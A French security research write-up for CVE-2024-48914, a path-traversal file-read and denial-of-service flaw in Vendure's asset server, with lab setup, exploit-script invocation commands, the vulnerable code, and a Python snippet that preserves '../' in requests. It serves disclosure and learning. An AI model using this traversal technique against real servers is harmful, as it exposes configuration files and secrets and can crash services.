
Lecture de fichier arbitraire et DoS dans l'exploit vendure-ecommerce
Cet article est un article de recherche publié par EQSTLab.
Merci à Rajesh Sharma, qui a découvert cette vulnérabilité.
★ CVE-2024-48914 PoC de lecture arbitraire de fichier et de déni de service ★
CVE-2024-48914 : vulnérabilité de lecture arbitraire de fichier et de déni de service dans vendure-ecommerce
description : Vendure est une plateforme de commerce sans tête (headless) open source. Avant les versions 3.0.5 et 2.3.3, une vulnérabilité dans le plugin asset server de Vendure permet à un attaquant de concevoir une requête capable de parcourir le système de fichiers du serveur et de récupérer le contenu de fichiers arbitraires, y compris des données sensibles telles que les fichiers de configuration, les variables d'environnement et d'autres données critiques stockées sur le serveur. Dans le même chemin de code, il existe un vecteur supplémentaire permettant de faire planter le serveur via une URI malformée. Des correctifs sont disponibles dans les versions 3.0.5 et 2.3.3. Des solutions de contournement sont également disponibles. On peut utiliser un stockage d'objets plutôt que le système de fichiers local, par exemple MinIO ou S3, ou définir un middleware qui détecte et bloque les requêtes dont les URLs contiennent /../.
Téléchargez la version vulnérable (v3.0.4) :
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Commande à exécuter
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (lecture arbitraire de fichier)

CVE-2024-48914.py (attaque DoS)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
La vulnérabilité provient de l'utilisation directe de decodedReqPath dans path.join sans effectuer de normalisation du chemin, c'est-à-dire path.normalize dans node.js. Cette vulnérabilité permet à un attaquant de concevoir une requête capable de parcourir le système de fichiers du serveur et de récupérer le contenu de fichiers arbitraires, y compris des données sensibles telles que les fichiers de configuration, les variables d'environnement et d'autres données critiques stockées sur le serveur.
Lorsque vous utilisez le module requests de Python, le « ../ » est supprimé du chemin de l'URL. Si vous utilisez des « prepared requests » comme ci-dessous, vous pouvez utiliser le module requests de Python sans que le « ../ » ne soit supprimé du chemin de l'URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Ce dépôt n'est pas destiné à être un exploit de lecture arbitraire de fichier ou de déni de service pour CVE-2024-48914. Le but de ce projet est d'aider les personnes à en apprendre davantage sur cette vulnérabilité et, éventuellement, à tester leurs propres applications.